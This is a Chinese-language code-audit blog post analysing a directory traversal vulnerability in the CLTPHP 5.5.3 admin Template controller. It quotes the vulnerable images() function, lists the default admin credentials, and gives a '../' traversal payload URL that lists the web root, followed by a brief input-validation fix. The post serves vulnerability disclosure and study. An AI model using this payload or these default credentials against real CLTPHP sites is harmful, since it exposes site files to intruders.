【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析

时间:2022-08-20 06:11:00

 

0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析

0x01 代码分析

1、/app/admin/controller/Template.php  第135-168行:

2、public function images(){

3、    $path = $this->publicpath.'images/'.input('folder').'/';

4、    $uppath = explode('/',input('folder'));

5、    $leve = count($uppath)-1;

6、    unset($uppath[$leve]);

7、    if($leve>1){

8、        unset($uppath[$leve-1]);

9、        $uppath = implode('/',$uppath).'/';

10、            }else{

11、                $uppath = '';

12、            }

13、            $this->assign ( 'leve',$leve);

14、            $this->assign ( 'uppath',$uppath);

15、            $files = glob($path.'*');

16、            $folders=array();

17、            foreach($files as $key => $file) {

18、                $filename = basename($file);

19、                if(is_dir($file)){

20、                    $folders[$key]['filename'] = $filename;

21、                    $folders[$key]['filepath'] = $file;

22、                    $folders[$key]['ext'] = 'folder';

23、                }else{

24、                    $templates[$key]['filename'] = $filename;

25、                    $templates[$key]['filepath'] = $file;

26、                    $templates[$key]['ext'] = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));

27、                    if(!in_array($templates[$key]['ext'],array('gif','jpg','png','bmp'))) $templates[$key]['ico'] =1;

28、                }

29、            }

30、            $this->assign ( 'title','媒体文件' );

31、            $this->assign ( 'path',$path);

32、            $this->assign ( 'folders',$folders );

33、            $this->assign ( 'files',$templates );

34、            return $this->fetch();

35、        }

在这段函数中,参数folder未进行任何有效过滤,获取目录下的文件信息,导致程序在实现上存在目录遍历漏洞,攻击者可利用该漏洞获取敏感信息。

0x02 漏洞利用

1、登录后台,构造url,获取网站目录结构。

获取网站根目录Payload:

http://127.0.0.1/admin/Template/images.html?folder=slideshow/../../../../../

【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析

0x03 修复建议

1、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析